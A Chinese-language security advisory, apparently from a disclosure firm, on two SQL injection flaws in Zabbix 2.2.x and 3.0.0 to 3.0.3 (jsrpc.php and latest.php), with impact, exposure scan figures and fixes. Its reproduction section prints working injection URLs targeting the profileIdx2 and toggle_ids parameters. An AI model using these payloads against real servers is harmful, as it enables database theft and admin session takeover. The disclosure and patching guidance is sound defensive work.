漏洞预警:zabbix再爆高危SQL注入漏洞
漏洞预警:zabbix再爆高危SQL注入漏洞
1.漏洞概述
zabbix是提供分布式系统监视以及网络监视功能的企业级的开源解决方案。昨日被爆出漏洞,经过白帽汇分析,该漏洞(2个利用方式)在开启Guest账号的情况,可能导致数据泄漏,服务器被控制。目前全球约有10%的服务器受影响,建议及时修补。
zabbix(音同 zæbix)是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。其官方网站为:http://www.zabbix.com
近日,zabbix系统发现两个高危漏洞,该漏洞通过一个已经验证过的用户就可以发动攻击,其中包括guest帐户(zabbix默认系统下guest帐户密码为空),攻击者在这种情况下就可以完全获取数据库中信息,攻击者也可以获取管理员身份,甚至可能会控制多台服务器权限。
其中涉及漏洞的文件有两个,jsrpc.php和latest.php。存在漏洞的参数分别为profileIdx2和toggle_ids。
2. 漏洞危害
如果存在此类漏洞,攻击者可进行如下的攻击:
- 该漏洞可以导致泄漏重要的敏感信息
- 通过该漏洞可以被植入webshell等恶意代码。
- 攻击者可通过直接获取admin的session,利用获取的session可以以管理员身份登录。
3. 漏洞影响
此次漏洞影响范围较大,目前经过白帽汇检测。存在大量的站点存在该问题,请使用了该系统的厂商及时进行了修复。
危害程序程度高,在开启Guest的情况下或者无用户的情况下则不需要登录则可以注入(默认开启Guest)。未开启Guest和有用户的情况下需要登录才可注入。
其漏洞影响的版本为:2.2.x,3.0.0-3.0.3(其他版本未测试)
4. 漏洞复现
测试代码如下:
效果如下:
在您的zabbix的地址后面加上如下url:
jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(SELECT
1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 0x7e776562746573747e))a
from information_schema.tables group by
a)b)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
第二处漏洞
测试代码:
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1
效果如下:
SQL (0.000361):INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES(88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 →require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in/home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185
5. 漏洞代码分析
我们可以找到漏洞文件jsrpc.php,为了方便阅读,去掉了跟本次漏洞无关的代码:
/zabbix-3.0.3/frontends/php/jsrpc.php
最后引入漏洞发生的部分存在为
在页面中包含了page_footer.php文件,其中发现调用了CProfile类的flush方法如下:
我们跟进flush方法:
发现执行了insert语句造成注入漏洞。(此处部分引用自Braid’s blog)
6. 漏洞修复
升级补丁,补丁文件地址https://support.zabbix.com/browse/ZBX-11023
升级到最新版本。请升级到3.0.4版本。
下载地址:http://www.zabbix.com/download.php
根据系统版本下载相对应的版本即可。
或者禁用Guest用户即可。
禁用Guest步骤:点击“Administration”-->Users,找到下面的guest用户,点击status的”Enabled",然后就可以看到Guest用户被禁用了
源代码修复:
修补方法很简单,对CProfile类的flush方法中注入参数做强制整形转换即可
8. 漏洞影响范围
白帽汇针对Zabbix进行全网扫描发现全球4680个对外开放的Zabbix,开启Guest并且能被成功利用大于722个,影响全球约15%的Zabbix
国内分布图:
全球分布图:
7. 参考来源
http://seclists.org/fulldisclosure/2016/Aug/82
最新评论